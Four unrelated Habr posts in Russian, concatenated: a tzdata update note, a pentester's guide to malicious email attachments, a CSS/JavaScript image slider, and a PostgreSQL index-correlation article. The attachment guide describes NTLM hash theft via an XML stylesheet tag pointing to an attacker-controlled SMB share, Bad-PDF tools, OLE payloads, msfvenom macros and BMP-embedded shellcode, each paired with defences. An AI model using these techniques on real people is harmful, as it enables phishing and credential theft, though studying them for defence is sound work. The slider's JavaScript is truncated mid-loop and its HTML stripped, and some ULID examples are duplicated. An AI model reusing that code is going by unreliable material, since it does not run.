На момент окончания написания этого поста мейнтейнеры ubuntu, вероятно, среагировали на моё письмо в ubuntu-devel-discuss и протолкнули апдейты в proposed. Вероятно, в ближайшие дни апдейты tzdata прилетят из официальных репозиториев, но MySQL всё равно понадобится обновлять вручную.
UPD. Для OpenJDK апдейты поставятся вместе с системными, а для Sun/Oracle Java [нужно воспользоваться «фирменной» утилитой](http://habrahabr.ru/post/240915/).
UPD2. **Инструкция** от [Ernillew](http://habrahabr.ru/users/ernillew/), как настроить proposed: [habrahabr.ru/post/240937/#comment\_8080009](http://habrahabr.ru/post/240937/#comment_8080009).
UPD3. В trusty появилось 2014i, которое включает предыдущие изменения и новые для Беларуси.
«tzdata» versions published in Ubuntu
По состоянию на 2014-10-23 09:31 +0400 (инфа из [launchpad.net/ubuntu/+source/tzdata/+bugs](https://launchpad.net/ubuntu/+source/tzdata/+bugs) )
```
Trusty-security (2014i-0ubuntu0.14.04): main/libs
Trusty-updates (2014i-0ubuntu0.14.04): main/libs
Precise-security (2014i-0ubuntu0.12.04): main/libs
Precise-updates (2014i-0ubuntu0.12.04): main/libs
Lucid-security (2014i-0ubuntu0.10.04): main/libs
Lucid-updates (2014i-0ubuntu0.10.04): main/libs
Utopic-proposed (2014i-0ubuntu0.14.10): main/libs
Trusty-proposed (2014i-0ubuntu0.14.04): main/libs
Precise-proposed (2014i-0ubuntu0.12.04): main/libs
Lucid-proposed (2014i-0ubuntu0.10.04): main/libs
Utopic (2014h-2): main/libs
Trusty (2014b-1): main/libs
Precise (2012b-1): main/libs
Lucid (2010i-1): main/libs
```
UPD4. Для PHP в некоторых конфигурациях может понадобиться
```
pecl install timezonedb
echo "extension=timezonedb.so" > /etc/php5/conf.d/timezonedb.ini
# или, если уже было установлено
pecl upgrade timezonedb
``` | https://habr.com/ru/post/240937/ | null | ru | null |
# Открыть нельзя игнорировать
Моя работа связана с тем, что я вру людям и эксплуатирую их доверчивость, любопытство, жадность и так далее. Работу я свою люблю и стараюсь подходить к ней творчески. Специфика моей деятельности связана с проведением атак методом социальной инженерии. И в этом посте я бы хотела рассказать о вредоносных вложениях.
Если вам на почту свалится PDF, откроете его? А вордовский файл? Станете открывать изображение от неизвестного источника? Можно ли нарваться на неприятности, если скачать архив? Насколько хорошо вы знаете, какие вложения представляют опасность, а какие нет? А что насчет ваших коллег?
За несколько десятков проектов я опробовала совершенно разные способы доставки полезной нагрузки до пользователя. Какие-то были весьма эффективными, какие-то легко обнаруживались – у каждого свои минусы и плюсы. Я не стану рассказывать, как упаковать исполняемые файлы с расширением .exe в архив. С таким старомодным подходом пробиться через системы защиты, а потом еще и заставить пользователя запустить вложение – себе дороже. Я расскажу, какие потенциально опасные файлы реально сегодня получить по почте (или отправить).
Дисклеймер: всё нижеописанное носит исключительно ознакомительный характер. Автор описывает опыт, полученный во время пентестов, не несет ответственности за повтор указанных атак и призывает не использовать материал в незаконных целях.
XML
---
**Суть метода**
Большинство Office-файлов основаны на Microsoft Office Open XML (OOXML), который, по сути, представляет собой сжатый XML-формат, разработанный Microsoft для представления таблиц, диаграмм, презентаций и так далее. Причастность к XML отображается в расширении документа (docx, xlsx, pptx). Весьма любопытно, что такие Office-документы можно открыть как обычный текстовый файл со всеми тегами и атрибутами. Любой Office Open XML-файл можно сохранить как XML и внести изменения в теги. Например, добавить ссылку на общедоступную папку, подконтрольную злоумышленнику. При запуске XML файл пытается подключиться к открытой общедоступной папке. При попытке подключения по smb-протоколу Windows любезно предоставляет NTLM-хеш (NTLMv2) и логин пользователя злоумышленнику.
**Реализация в двух словах**
Для реализации вектора необходимо создать документ Office Open XML (docx, pptx, xlsx, etc.), сохранить его как XML. Открыть XML и внести следующие изменения:
`xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx<u\test\swordfish.xsl">`
В указанном теге необходимо прописать адрес общедоступной сетевой папки, к которой будет подключаться жертва.
**Примечание**: вместо `="\\xxx.xxx.xxx.xxx\test\swordfish.xsl` можно писать `file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl`. Далее файл нужно сохранить и отправить жертве.
Информацию об атаке можно найти [здесь](https://jacksonvd.com/pwned-passwords-and-ntlm-hashes/).
**Примечание**: в зависимости от операционной системы и настроек пользователю, возможно, придется согласиться с дополнительными условиями или замечаниями, например:
Статья была бы неполной без советов по защите:
* Используйте политику сложных паролей.
* Используйте NTLMv2.
* Запретите внешний трафик по smb (tcp 139/445).
Bad-pdf
-------
**Суть метода**
В PDF-файл добавляется тег со ссылкой на общедоступный smb-сервер, подконтрольный злоумышленнику. Как и в примере выше, при открытии файла операционная система передает NTLM-хеш (NTLMv2) для подключения к общедоступной папке.
**Реализация в двух словах**
Реализовать данную атаку значительно проще, чем предыдущую. Для успешной кражи хеша достаточно скачать утилиту (git clone [здесь](https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py) или [здесь](https://github.com/3gstudent/Worse-PDF/blob/master/WorsePDF.py)) и дать права на исполнение (chmod +x) python-файлу. Далее запустить python-скрипт и ввести IP-адрес, название файла и интерфейс, как на рисунке ниже.
*Генерирование файла с полезной нагрузкой.*
Полученный файл можно отправить на почту под видом поздравления, документа на подпись, скана заявления и так далее. При запуске файла все хеши будут отправлены к злоумышленнику.
**Защита**
* Используйте политику сложных паролей.
* Используйте NTLMv2.
* Запретите внешний трафик по smb (tcp 139/445).
OLE-объект
----------
**Суть метода**
В легитимный Office-документ встраивается скрипт, запускающийся по клику. Скрипт может быть совершенно любой, обычно это просто полезная нагрузка. Он имеет свою иконку, которую можно менять, в зависимости от желаний атакующего, вплоть до полного копирования стиля Office-документов, имитирующих сообщения об ошибках. В отличие от макросов, файл с OLE-вложением у обычных пользователей пока не вызывает подозрений.
**Реализация в двух словах**
На подготовку к этой атаке придется потратить несколько больше усилий (по сравнению с теми, что выше). Первым делом необходимо сгенерировать полезную нагрузку. Далее нужно запустить сервер, на который будут приходить соединения от payload, после чего создать Word-документ, преобразовать его в RTF и добавить ссылку на полезную нагрузку. Это если кратко.
Информацию об атаке можно найти [здесь](https://youtu.be/ymLVH5avkZw).
**Защита**
Для защиты от таких атак [рекомендуется](https://support.microsoft.com/en-us/kb/926530) внести следующие изменения в реестр:
`HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt`
Значение `Office Version` может быть равно 16.0 (Office 2016); 15.0 (Office 2013); 14.0 (Office 2010); или 12.0 (Office 2007). Значение `Office application` — это имя конкретного приложения Office, то есть Word, Excel и так далее.
Значение данного раздела реестра должно равняться «2», что будет означать «No prompt, Object does not execute» или фактический запрет на выполнение объектов. Значение «1» разрешает пользователю «Prompt from Office when user clicks, object executes», то есть объекты срабатывают по клику, и Office отображает соответствующее сообщение. Значение «0», в свою очередь, означает «No prompt from Office when user clicks, object executes», другими словами, объекты выполняются, но никаких сообщений от Office пользователь не получает.
Изменения можно внести, если эти функции не используются в бизнес-процессах вашей компании.
Макросы
-------
Раз уж был упомянут OLE, то как же не упомянуть макросы?
**Суть метода**
Макрос — набор команд, который призван упростить работу пользователя. Потенциально можно записать абсолютно любой набор команд в макрос и таким образом получить полезную нагрузку. Для создания документа с макросом злоумышленнику достаточно обфусцировать код пейлоада и добавить код в макрос документа.
**Реализация в двух словах**
Способов сгенерировать макрос на данный момент существует великое множество. Можно использовать инструмент [Luckystrike](https://github.com/curi0usJack/luckystrike) или остановиться на более привычном [Metasploit](https://github.com/rapid7/metasploit-framework). Можно воспользоваться msfvenom и обфусцировать макрос после генерации. Когда макрос создан, все, что нужно сделать – добавить его в Office-документ. Но в отличие от OLE-вложения, для запуска макроса нужно приложить действительно массу усилий. На данный момент очень мало пользователей запустят макросы. Windows уже научилась предупреждать о подозрительных макросах, и разговоров об их опасности было великое множество.
**Защита**
Для надежности рекомендую отключить исполнение макросов без уведомления.
BMP
---
Очень маловероятно, что вам когда-нибудь встретится BMP-вложение с шелл-кодом, так что просто знайте: и такие бывают.
**Суть метода**
Шелл-код встраивается в картинку в BMP-формате. Само по себе изображение в момент открытия никакой опасности не представляет. Суть не в том, чтобы дать злоумышленнику поднять сессию. Картинка нужна, чтобы лежать и ждать часа, когда злоумышленник активирует ее с помощью команды Powershell. Это метод не столько атаки, сколько обхода антивирусов и средств обнаружения вторжения.
**Реализация в двух словах**
Для создания картинки достаточно использовать данный [репозиторий](https://github.com/Mr-Un1k0d3r/DKMC). DKMC предусматривает все, от генерации изображения до обфускации кода. Также хочу обратить внимание, что «зараженное» изображение будет содержать странные разноцветные пиксели. Это легко исправить, если обрезать видимую область изображения на 5-10 пикселей.
После создания изображения файл нужно доставить жертве и ждать подходящего случая или искать возможность запустить powershell-скрипт.
**Защита**
Отфильтровывать каждый bmp-файл как потенциально опасный неэффективно. Можно использовать конверторы и сохранять изображения в иных форматах, проводить инспекцию файлов на компьютерах или принять тот факт, что если у злоумышленника получилось использовать powershell-сркипт на компьютере работника, то наличие изображения с шелл-кодом не основная проблема безопасности.
Вот, собственно, и всё. Надеюсь, статья расширила ваши представления о вложениях и опасностях, которые они могут нести. Чуть позже поговорим о подозрительных ссылках.
*Екатерина Рудая ([Caterin](https://habr.com/users/caterin/)), эксперт лаборатории практического анализа защищенности, «Инфосистемы Джет»* | https://habr.com/ru/post/426463/ | null | ru | null |
# Простой слайдер изображений на CSS и Javascript
Автор уже опубликовал скрипт [карусели](https://habr.com/ru/post/467079/), который также использует только CSS и Javascript. Теперь давайте рассмотрим скрипт слайдера. Он отличается от карусели тем, что одновременно виден только один элемент, а не несколько, и элементы не прокручиваются, а медленно замещаются одно другим. И ещё. В данном слайдере в качестве элементов используются только изображения (слайды), поэтому и называется он простой слайдер изображений.
Навигация осуществляется стрелками “Следующий элемент” или “Предыдущий элемент” и индикаторными точками. Стрелки и точки можно отключить в настройках скрипта. Элементы могут быть показаны с остановкой на первом и последнем элементе или в цикле, когда за последним элементом вновь следует первый. Можно включить автоматический просмотр (пролистывание) элементов, длительность просмотра (интервал между переключениями) регулируется. При наведении мыши на элемент пролистывание прекращается.
Слайдер автоматически подстраивается под любую ширину экрана любого устройства. Убедиться в этом можно сдвигая влево-вправо какую-либо из боковых сторон браузера.
HTML – код слайдера стандартный, за исключением одного: перед изображениями помещён экран, который представляет собой однотонный рисунок белого цвета. Все изображения и экран должны быть одного размера. Число изображений произвольное.
```
* 
* 
* 
…
* 
```
В качестве контейнеров использованы теги * , но можно использовать и или . Стрелки и индикаторные точки располагаются абсолютным позиционированием в соответствующих контейнерах. Для стрелок используются рисунки в виде треугольных скобок, которые, при желании, вы можете заменить своими рисунками. Точки генерируются программой, количество точек равно количеству изображений.
Все изображения располагаются “в стопочку”, одно над другим абсолютным позиционированием в левом верхнем углу объемлющего контейнера. Экран предотвращает схлопывание внешнего контейнера. Всем изображениям присваивается CSS-свойство opacity: 0, кроме первого элемента, которому программа инициализации присваивает opacity: 1, тем самым делая его видимым.
Пролистывание элементов осуществляется плавным изменением opacity из 1 в 0 для видимого элемента и из 0 в 1 для следующего за ним невидимого элемента. Тем самым видимый элемент становится невидимым, а невидимый видимым. Плавность перехода создаёт свойство transition с длительностью 1с и функцией перехода ease-in.
**CSS**
```
img {
width: 100%; !important;
}
/* General styles */
.sim-slider {
position: relative;
}
.sim-slider-list {
margin: 0;
padding: 0;
list-style-type: none;
position: relative;
}
.sim-slider-element {
width: 100%;
transition: opacity 1s ease-in;
opacity: 0;
position: absolute;
z-index: 2;
left: 0;
top: 0;
display: block;
}
/* Navigation item styles */
div.sim-slider-arrow-left,
div.sim-slider-arrow-right {
width: 22px;
height: 40px;
position: absolute;
cursor: pointer;
opacity: 0.6;
z-index: 4;
}
div.sim-slider-arrow-left {
left: 10px;
top: 40%;
display: block;
background: url("sim-arrow-left.png") no-repeat;
}
div.sim-slider-arrow-right {
right: 10px;
top: 40%;
display: block;
background: url("sim-arrow-right.png") no-repeat;
}
div.sim-slider-arrow-left:hover {
opacity: 1.0;
}
div.sim-slider-arrow-right:hover {
opacity: 1.0;
}
div.sim-slider-dots {
width: 100%;
height: auto;
position: absolute;
left: 0;
bottom: 0;
z-index: 3;
text-align: center;
}
span.sim-dot {
width: 10px;
height: 10px;
margin: 5px 7px;
padding: 0;
display: inline-block;
background-color: #BBB;
border-radius: 5px;
cursor: pointer;
}
```
Для того, чтобы слайдер был адаптивным к любой ширине экрана, для изображений нужно указать CSS-свойство width: 100%. Для всех блочных контейнеров (div, ul, li и пр.) также width: 100% или, если нужна ширина в числовых единицах, то только max-width или min-width.
Стили, как обычно, подключаются в заголовке. Скрипт можно подключить по наступлению события onload или в конце HTML-разметки. Файл со скриптом слайдера может выглядеть так:
```
Simple slider
…
…
…
…
new Sim()
```
Вызов слайдера производится по имени класса sim-slider или по идентификатору. Во втором случае можно разместить несколько слайдеров на одной странице.
```
…
…
new Sim("first"); new Sim("second");
```
**Javascript**
```
function Sim(sldrId) {
let id = document.getElementById(sldrId);
if(id) {
this.sldrRoot = id
}
else {
this.sldrRoot = document.querySelector('.sim-slider')
};
// Slider objects
this.sldrList = this.sldrRoot.querySelector('.sim-slider-list');
this.sldrElements = this.sldrList.querySelectorAll('.sim-slider-element');
this.sldrElemFirst = this.sldrList.querySelector('.sim-slider-element');
this.leftArrow = this.sldrRoot.querySelector('div.sim-slider-arrow-left');
this.rightArrow = this.sldrRoot.querySelector('div.sim-slider-arrow-right');
this.indicatorDots = this.sldrRoot.querySelector('div.sim-slider-dots');
// Initialization
this.options = Sim.defaults;
Sim.initialize(this)
};
Sim.defaults = {
// Default options for the slider
loop: true, // Бесконечное зацикливание слайдера
auto: true, // Автоматическое пролистывание
interval: 5000, // Интервал между пролистыванием элементов (мс)
arrows: true, // Пролистывание стрелками
dots: true // Индикаторные точки
};
Sim.prototype.elemPrev = function(num) {
num = num || 1;
let prevElement = this.currentElement;
this.currentElement -= num;
if(this.currentElement < 0) this.currentElement = this.elemCount-1;
if(!this.options.loop) {
if(this.currentElement == 0) {
this.leftArrow.style.display = 'none'
};
this.rightArrow.style.display = 'block'
};
this.sldrElements[this.currentElement].style.opacity = '1';
this.sldrElements[prevElement].style.opacity = '0';
if(this.options.dots) {
this.dotOn(prevElement); this.dotOff(this.currentElement)
}
};
Sim.prototype.elemNext = function(num) {
num = num || 1;
let prevElement = this.currentElement;
this.currentElement += num;
if(this.currentElement >= this.elemCount) this.currentElement = 0;
if(!this.options.loop) {
if(this.currentElement == this.elemCount-1) {
this.rightArrow.style.display = 'none'
};
this.leftArrow.style.display = 'block'
};
this.sldrElements[this.currentElement].style.opacity = '1';
this.sldrElements[prevElement].style.opacity = '0';
if(this.options.dots) {
this.dotOn(prevElement); this.dotOff(this.currentElement)
}
};
Sim.prototype.dotOn = function(num) {
this.indicatorDotsAll[num].style.cssText =
'background-color:#BBB; cursor:pointer;'
};
Sim.prototype.dotOff = function(num) {
this.indicatorDotsAll[num].style.cssText =
'background-color:#556; cursor:default;'
};
Sim.initialize = function(that) {
// Constants
that.elemCount = that.sldrElements.length; // Количество элементов
// Variables
that.currentElement = 0;
let bgTime = getTime();
// Functions
function getTime() {
return new Date().getTime();
};
function setAutoScroll() {
that.autoScroll = setInterval(function() {
let fnTime = getTime();
if(fnTime - bgTime + 10 > that.options.interval) {
bgTime = fnTime; that.elemNext()
}
}, that.options.interval)
};
// Start initialization
if(that.elemCount <= 1) { // Отключить навигацию
that.options.auto = false;
that.options.arrows = false; that.options.dots = false;
that.leftArrow.style.display = 'none';
that.rightArrow.style.display = 'none'
};
if(that.elemCount >= 1) { // показать первый элемент
that.sldrElemFirst.style.opacity = '1';
};
if(!that.options.loop) {
that.leftArrow.style.display = 'none'; // отключить левую стрелку
that.options.auto = false; // отключить автопркрутку
}
else if(that.options.auto) { // инициализация автопрокруки
setAutoScroll();
// Остановка прокрутки при наведении мыши на элемент
that.sldrList.addEventListener('mouseenter', function() {
clearInterval(that.autoScroll)
}, false);
that.sldrList.addEventListener('mouseleave', setAutoScroll, false)
};
if(that.options.arrows) { // инициализация стрелок
that.leftArrow.addEventListener('click', function() {
let fnTime = getTime();
if(fnTime - bgTime > 1000) {
bgTime = fnTime; that.elemPrev()
}
}, false);
that.rightArrow.addEventListener('click', function() {
let fnTime = getTime();
if(fnTime - bgTime > 1000) {
bgTime = fnTime; that.elemNext()
}
}, false)
}
else {
that.leftArrow.style.display = 'none';
that.rightArrow.style.display = 'none'
};
if(that.options.dots) { // инициализация индикаторных точек
let sum = '', diffNum;
for(let i=0; i that.currentElement) {
bgTime = getTime(); that.elemNext(diffNum)
}
// Если n == that.currentElement ничего не делаем
}, false)
};
that.dotOff(0); // точка[0] выключена, остальные включены
for(let i=1; i
```
[Все изображения взяты из открытых источников](https://yandex.ru/images/search?text=%D0%BF%D0%BB%D0%B0%D0%BD%D0%B5%D1%82%D1%8B%20%D0%BA%D0%B0%D1%80%D1%82%D0%B8%D0%BD%D0%BA%D0%B8)
Спасибо за внимание! | https://habr.com/ru/post/468253/ | null | ru | null |
# Почему PostgreSQL тормозит: индексы и корреляция данных
"Хочешь ускорить запросы, построй индекс" – классический первый шаг по увеличению производительности в PostgreSQL. Вот только на практике можно встретить ситуацию, когда индексы в PostgreSQL есть, но тормоза никуда не делись. Не все индексы являются эффективными. Одна из возможных причин тормозов индексов – это отсутствие корреляции данных. Давайте поговорим о пенальти на производительность, которое дает расположение данных: почему это происходит и как это можно предотвратить.
Корреляция между физическим и логическим порядком значенийКак можно идентифицировать равномерные и неравномерные данные
-------------------------------------------------------------
В системном представлении pg\_stats для каждой таблицы есть поле correlation. В [документации](https://postgrespro.ru/docs/postgresql/13/view-pg-stats) сказано, что это *"статистическая корреляция между физическим порядком строк и логическим порядком значений столбца"*.
Давайте создадим таблицу:
```
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
CREATE TABLE example (corr, uncorr) AS
SELECT i, uuid_generate_v4()
FROM generate_series(1, 100000) AS i;
ANALYZE example;
```
Как мы видим, физическое распределение по полю corr происходит по возрастанию, а по полю uncorr – совсем рандомно:
```
select correlation from pg_stats where tablename = 'example' and attname = 'corr';
-[ RECORD 1 ]--
correlation | 1
select correlation from pg_stats where tablename = 'example' and attname = 'uncorr';
-[ RECORD 1 ]--------------
correlation | -0.0013047641
```
Давайте договоримся называть данные, у которых correlation близка к 1 или -1 – равномерными данными. А данные, у которых корреляция близка к нулю – неравномерными.
Для ускорения операций с данными используются индексы. Мы будем говорить о ситуации, когда над неравномерными данными построен индекс.
Перед тем, как двигаться дальше, давайте вспомним о базовых вещах насчёт индексов:
* Данные и индексы PostgreSQL хранит в блоках, и для того, чтобы прочитать или записать одну строку из блока, PostgreSQL прочитает или запишет блок полностью ([с оговоркой](https://postgrespro.ru/docs/postgresql/9.6/runtime-config-wal#guc-full-page-writes)).
* Любое чтение и запись блока происходит через Буферный менеджер (Buffer Manager), который аллоцирует блоки в Буферном кэше (Buffer pool). Чтение или запись приводит к тому, что клиентскому запросу (бакенду), выполняющему запрос, необходимо высвободить место в буферном кэше. Если приходится вытеснять "грязную" (не синхронизированную с диском страницу) бакенду придется записать страницу на диск.
* B-Tree хранит данные в отсортированном виде, где каждый элемент индекса указывает на ctid (физическое расположение данных). Значение ctid состоит из двух цифр: Block и Number. Тут Block – это номер блока на странице; например, блок 0 указывает на область данных 0-8kB, а блок 10 – на область данных 80kB-88kB. Number – это номер "строки" в блоке.
* Индексы PostgreSQL не хранят видимости. Это означает, что данные, расположенные в ctid, могут быть логически удалены и должны быть отфильтрованы при выполнении запроса. Таким образом обращение к индексу почти всегда вызывает чтение данных в таблице (обратите внимание на Heap Fetches в explain, подробнее [тут](https://habr.com/ru/company/postgrespro/blog/326096/)).
Равномерные и неравномерные индексы
-----------------------------------
Соседние значения в индексе, построенном на неравномерных данных, могут указывать на данные, которые расположены физически далеко, в разных блоках таблицы. В нашем случае, 'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa'::uuid и 'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaab'::uuid с большой вероятностью (около 99.9%) будут разнесены хаотично по разным блокам таблицы.
Взглянем на содержимое индекса, выбираем для примера блок 21:
```
CREATE INDEX corr_idx ON example (corr);
CREATE INDEX uncorr_idx ON example (uncorr);
ANALYZE example;
CREATE EXTENSION IF NOT EXISTS pageinspect;
-- убеждаемся, что блок 21 в индексе – обычный лист btree-индекса (l)
SELECT corr.type, uncorr.type FROM bt_page_stats('corr_idx', 21) as corr, bt_page_stats('uncorr_idx', 21) as uncorr;
type | type
------+------
l | l
-- соединяем index items с данными таблицы по ctid: (block, item)
SELECT bt.ctid as corr_heap_ctid, e.corr, e.uncorr FROM bt_page_items('uncorr_idx', 21) as bt INNER JOIN example e on e.ctid = bt.ctid LIMIT 5 OFFSET 1;
corr_heap_ctid | corr | uncorr
----------------+-------+--------------------------------------
(5,77) | 862 | 0cc6e023-8c62-4a89-a066-d3879c99667d
(227,155) | 35794 | 0cc83303-ab36-4cb7-8f02-48ac8d1c22e4
(158,92) | 24898 | 0cc93ffe-b54d-4d81-b7da-946aac5e9268
(177,10) | 27799 | 0cc943c6-6551-45d9-ad02-69331a76773d
(98,136) | 15522 | 0cca5867-9c1c-43e2-95fa-a5479e4a39cd
-- тоже самое для равномерного индекса
SELECT bt.ctid as corr_heap_ctid, e.corr, e.uncorr FROM bt_page_items('corr_idx', 21) as bt INNER JOIN example e on e.ctid = bt.ctid LIMIT 5 OFFSET 1;
corr_heap_ctid | corr | uncorr
----------------+------+--------------------------------------
(44,47) | 6955 | 99e1675e-d402-4413-90cf-79c7b4bad88d
(44,48) | 6956 | 3dd37835-8c24-4f13-b284-e533763cb65d
(44,49) | 6957 | 1a18c970-f294-4a97-a31d-fae556c70be5
(44,50) | 6958 | fbbb36ce-93c0-4068-9e0a-a3d367cc725c
(44,51) | 6959 | d72c1154-23d3-4544-87b3-d7038c5be31b
```
В равномерном же индексе соседние значения указывают на один и тот же блок физических данных. Кстати, для равномерных данных в PostgreSQL был придуман [BRIN](https://habr.com/ru/company/postgrespro/blog/346460/)-индекс, который хранит равномерные данные более эффективно, чем B-Tree.
В неравномерном индексе мы видим, что "соседние" (отсортированные) строки указывают на большое количество разных блоков в таблице.
Один блок неравномерного индекса указывает на большое количество блоков с данными в таблицеПроблемы неравномерного индекса
-------------------------------
Давайте кратко сформулируем основные проблемы неравномерного индекса:
* Низкий page hit (переиспользование страниц буферного кэша) самого индекса: нет "горячих частей", таких, как компактное хранение всех id текущего дня в ограниченном количестве блоков индекса.
* Рандомное чтение heap для проверки видимости значений в индексе, если не используется bitmap heap scan.
* Дорогое обслуживание индекса: такие операции, как reindex/vacuum, вызывают дополнительное чтение и запись при ограниченном количестве буферного кэша.
С равномерными данными таблица делиться на "горячую" и "холодную" часть. В этом случае buffer pool (буферный кэш) более рационально используется, что приводит к уменьшению IOPSНеравномерный индекс на чтении
------------------------------
Частный пример неравномерных данных – это UUID v4, который мы использовали в примере в самом начале. Гораздо чаще в реальной жизни можно встретить пример неравномерных данных, реализованных на менее специфических типах данных: int, varchar. Проведём надуманный, но жизненный эксперимент:
```
CREATE TABLE test_read (
id bigserial primary key,
user_id int not null,
created_at timestamptz not null default current_timestamp,
value int
);
CREATE INDEX idx_test_read_user_id_created_at on test_read (user_id, created_at desc);
```
Заполним данные:
```
\set user_id random(1, 2000)
begin;
insert into test_read (user_id) values (:user_id);
end;
```
Начнём читать данные – последние N-операций пользователя:
```
explain (analyze,buffers) select value from test_read where user_id = 200 order by created_at limit 1000;
QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Limit (cost=0.57..3883.09 rows=1000 width=12) (actual time=0.044..1.769 rows=1000 loops=1)
Buffers: shared hit=969
-> Index Scan Backward using idx_test_read_user_id_created_at on test_read (cost=0.57..252547.29 rows=65047 width=12) (actual time=0.042..1.664 rows=1000 loops=1)
Index Cond: (user_id = 200)
Buffers: shared hit=969
```
Как мы видим, в худшем случае придётся прочитать с диска почти столько страниц (совершить пропорциональное количество IOPS), сколько собираемся вернуть строчек:
| | |
| --- | --- |
| **кол-во строк** | **кол-во буферов (∝** **IOPS)** |
| 10 | 14 |
| 100 | 100 |
| 1000 | 969 |
Происходит это из-за того, что как мы и говорили, строчки по конкретному пользователю разбросаны по разным страницам. Давайте отсортируем физическое расположение по пользователю при помощи команды [CLUSTER](https://postgrespro.ru/docs/postgresql/13/sql-cluster):
```
cluster test_read using test_read_user_id_idx;
```
| | |
| --- | --- |
| **кол-во строк** | **кол-во буферов (∝ IOPS)** |
| 10 | 11 |
| 100 | 53 |
| 1000 | 408 |
Таким образом, получили почти двухкратный выигрыш. Пойдём дальше и выполним СLUSTER прямо по интересующему нас индексу:
```
cluster test_read USING idx_test_read_user_id_created_at;
```
| | |
| --- | --- |
| **кол-во строк** | **кол-во буферов (∝ IOPS)** |
| 10 | 5 |
| 100 | 6 |
| 1000 | 19 |
Благодаря тому, что физическая сортировка в базе совпадает с индексом, мы получили 50-кратный прирост по IOPS.
Конечно же, стоит ещё раз упомянуть, что CLUSTER не устанавливает физическую сортировку для новых данных и сортировка также теряется при обновлении исторических данных. Кроме команды CLUSTER, для кластеризации данных можно ещё воспользоваться стронней утилитой [pg\_repack](https://reorg.github.io/pg_repack/).
Неравномерный индекс при наполнении
-----------------------------------
Что делать, если ваш индекс должен быть рандомным, как в примере с UUID v4? Давайте посмотрим, чтобы было придумано для того, чтобы превратить рандомные данные в равномерные.
Последовательный UUID
---------------------
Идея простая: сгенерируем UUID, префикс которого зависит от какого-нибудь равномерно нарастающего значения: времени или счётчика. Тогда данные будут изменяться монотонно, и ближайшие сгенерированные значения с большей долей вероятностью окажутся на одной странице индекса.
Примеры реализации в PostgreSQL: [tvondra/sequential-uuids](https://github.com/tvondra/sequential-uuids) от компании [2ndquadrant (сообщение в блоге)](https://www.2ndquadrant.com/en/blog/sequential-uuid-generators/).
Пример генерации значений, зависящий от времени
```
postgres=# select uuid_time_nextval();
uuid_time_nextval
--------------------------------------
2853857f-7563-4f06-92b1-9d10491e2854
(1 row)
postgres=# \watch 0.1
Fri 25 Jun 2021 06:11:19 AM UTC (every 0.1s)
uuid_time_nextval
--------------------------------------
28539092-f737-4bba-8036-7892e1ff9657
(1 row)
Fri 25 Jun 2021 06:11:19 AM UTC (every 0.1s)
uuid_time_nextval
--------------------------------------
285399a9-a908-4310-b95a-a977d771ada2
(1 row)
Fri 25 Jun 2021 06:11:19 AM UTC (every 0.1s)
uuid_time_nextval
--------------------------------------
28538529-0db4-4836-a002-341e912122ae
(1 row)
```
ULID
----
[Идея](https://github.com/ulid/spec) похожа на предыдущую, но равномерная часть здесь больше:
```
01AN4Z07BY 79KA1307SR9X4MV3
|----------| |----------------|
Timestamp Randomness
10chars 16chars
48bits 80bits
```
В данном случае генерация может быть поручена как клиенту, так PostgreSQL.
Пример генерации ULID на python-клиенте и plpgsql
```
-- curl https://raw.githubusercontent.com/geckoboard/pgulid/master/pgulid.sql | psql
postgres=# select now(), generate_ulid();
now | generate_ulid
-------------------------------+----------------------------
2021-06-25 06:59:39.391656+00 | 01F90ZF2805C8GGXSA879VHWP5
postgres=# select now(), generate_ulid();
now | generate_ulid
------------------------------+----------------------------
2021-06-25 06:59:39.84068+00 | 01F90ZF2P1BDGRW3JCXSAKK8CJ
```
```
# pip3 install ulid-py
>>> import ulid, time
>>> from datetime import datetime
генерация ulid на указанную дату
>>> ulid.from_timestamp(datetime.strptime('2000/01/01 00:00:00', '%Y/%m/%d %H:%M:%S'))
>>> ulid.from\_timestamp(datetime.strptime('2000/01/01 00:00:00', '%Y/%m/%d %H:%M:%S'))
проворот счетчика произойдет еще не скоро :)
>>> ulid.from\_timestamp(datetime.strptime('3000/01/01 00:00:00', '%Y/%m/%d %H:%M:%S'))
```
Примеры конвертации
```
# восстановить время из ULID, который сгенерировал plpgsql,
# можно с точностью до ms
>>> v = ulid.parse('01F90ZF2805C8GGXSA879VHWP5')
>>> print(v.timestamp().datetime);
2021-06-25 06:59:39.392000+00:00
```
```
# ULID совместим с UUID
>>> uuid.UUID(bytes=ulid.from_timestamp(time.time()).bytes)
UUID('017a422e-2c1c-b378-ac7f-411bbe4d6714')
>>> uuid.UUID(bytes=ulid.from_timestamp(time.time()).bytes)
UUID('017a422e-2e3d-4e8d-84fa-c63b21462531')
```
```
# UUID тоже можно превратить в ULID
>>> ulid.from_uuid(uuid.UUID('017a422e-2c1c-b378-ac7f-411bbe4d6714'))
>>> ulid.from\_uuid(uuid.UUID('017a422e-2e3d-4e8d-84fa-c63b21462531'))
```
Таким образом, в отличие от предыдущей реализации seq UUID:
* не имеет проблем с wrap around в обозримом времени;
* позволяет из ULID восстановить время, когда он был сгенерирован;
* обеспечивает совместимость ULID с UUID, который может стать его совместимой заменой.
Тестирование различных типов индексов на запись
-----------------------------------------------
подготавливаем таблицы:
```
-- bigserial
CREATE TABLE test_serial (
id bigserial PRIMARY KEY,
created_at timestamp DEFAULT current_timestamp
);
-- uuid v4
CREATE TABLE test_uuid (
id uuid PRIMARY KEY DEFAULT uuid_generate_v4(),
created_at timestamp DEFAULT current_timestamp
);
-- ulid
CREATE TABLE test_ulid (
id uuid PRIMARY KEY DEFAULT generate_ulid(),
created_at timestamp DEFAULT current_timestamp
);
-- uuid
CREATE TABLE test_sequential_uuid_timestamp (
id uuid PRIMARY KEY DEFAULT uuid_time_nextval(interval_length := 60, interval_count := 65536),
created_at timestamp DEFAULT current_timestamp
);
```
и скрипт pgbench:
```
BEGIN;
INSERT INTO :TEST_TABLE (created_at) values (current_timestamp);
END;
```
Результаты по количеству транзакций оказались предсказуемые:
